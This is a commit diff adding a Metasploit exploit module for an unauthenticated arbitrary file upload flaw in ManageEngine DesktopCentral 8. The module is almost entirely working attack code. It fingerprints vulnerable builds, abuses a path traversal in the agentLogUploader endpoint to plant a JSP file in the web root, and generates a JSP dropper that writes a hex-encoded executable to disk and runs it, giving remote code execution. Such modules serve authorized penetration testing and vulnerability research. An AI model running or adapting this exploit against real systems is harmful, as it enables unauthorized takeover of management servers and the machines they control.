Land rapid7#2650, @pnegry's exploit for DesktopCentral 8

Author: jvazquez-r7

modules/exploits/windows/http/desktopcentral_file_upload.rb

@@ -0,0 +1,153 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'DesktopCentral AgentLogUpload Arbitrary File Upload',
+      'Description'    => %q{
+        This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0
+        below  build 80293. A malicious user can upload a JSP file into the web root without
+        authentication, leading to arbitrary code execution.
+      },
+      'Author'         =>
+        [
+          'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ]
+        ],
+      'Platform'       => 'win',
+      'Arch'           => ARCH_X86,
+      'Targets'        =>
+        [
+          [ 'Manage Desktop Central 8 server / Windows', {} ]
+        ],
+      'Privileged'     => true,
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Nov 11 2013'
+    ))
+
+    register_options([Opt::RPORT(8020)], self.class)
+  end
+
+  def upload_file(filename, contents)
+    res = send_request_cgi({
+      'uri'     => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"),
+      'method'  => 'POST',
+      'data'    => contents,
+      'ctype'   => "text/html"
+    })
+
+    if res and res.code == 200 and res.body.to_s.empty?
+      return true
+    else
+      return false
+    end
+  end
+
+  def check
+    res = send_request_cgi({
+        'uri' => normalize_uri("configurations.do"),
+        'method' => 'GET'
+    })
+
+    if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/
+      build = $1
+      print_status("Manage Desktop Central 8 build #{build} found")
+      if build < "80293"
+        return Exploit::CheckCode::Vulnerable
+      else
+        return Exploit::CheckCode::Safe
+      end
+    end
+
+    res = send_request_cgi({
+      'uri' => normalize_uri("agentLogUploader"),
+      'method' => 'POST'
+    })
+
+    if res and res.code == 200
+      return Exploit::CheckCode::Detected
+    end
+
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    print_status("#{peer} - Uploading JSP to execute the payload")
+
+    exe = payload.encoded_exe
+    exe_filename = rand_text_alpha_lower(8) + ".exe"
+
+    dropper = jsp_drop_and_execute(exe, exe_filename)
+    dropper_filename = rand_text_alpha_lower(8) + ".jsp"
+
+    if upload_file(dropper_filename, dropper)
+      register_files_for_cleanup(exe_filename)
+      register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")
+    else
+      fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed")
+    end
+
+    print_status("#{peer} - Executing payload")
+    send_request_cgi(
+    {
+      'uri'    => normalize_uri(dropper_filename),
+      'method' => 'GET'
+    })
+  end
+
+  def jsp_drop_bin(bin_data, output_file)
+    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
+    jspraw << %Q|<%\n|
+    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
+
+    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
+
+    jspraw << %Q|int numbytes = data.length();\n|
+
+    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
+    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
+    jspraw << %Q|{\n|
+    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
+    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
+    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
+    jspraw << %Q|  comb <<= 4;\n|
+    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
+    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
+    jspraw << %Q|}\n|
+
+    jspraw << %Q|outputstream.write(bytes);\n|
+    jspraw << %Q|outputstream.close();\n|
+    jspraw << %Q|%>\n|
+
+    jspraw
+  end
+
+  def jsp_execute_command(command)
+    jspraw =  %Q|\n|
+    jspraw << %Q|<%\n|
+    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
+    jspraw << %Q|%>\n|
+
+    jspraw
+  end
+
+  def jsp_drop_and_execute(bin_data, output_file)
+    jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
+  end
+end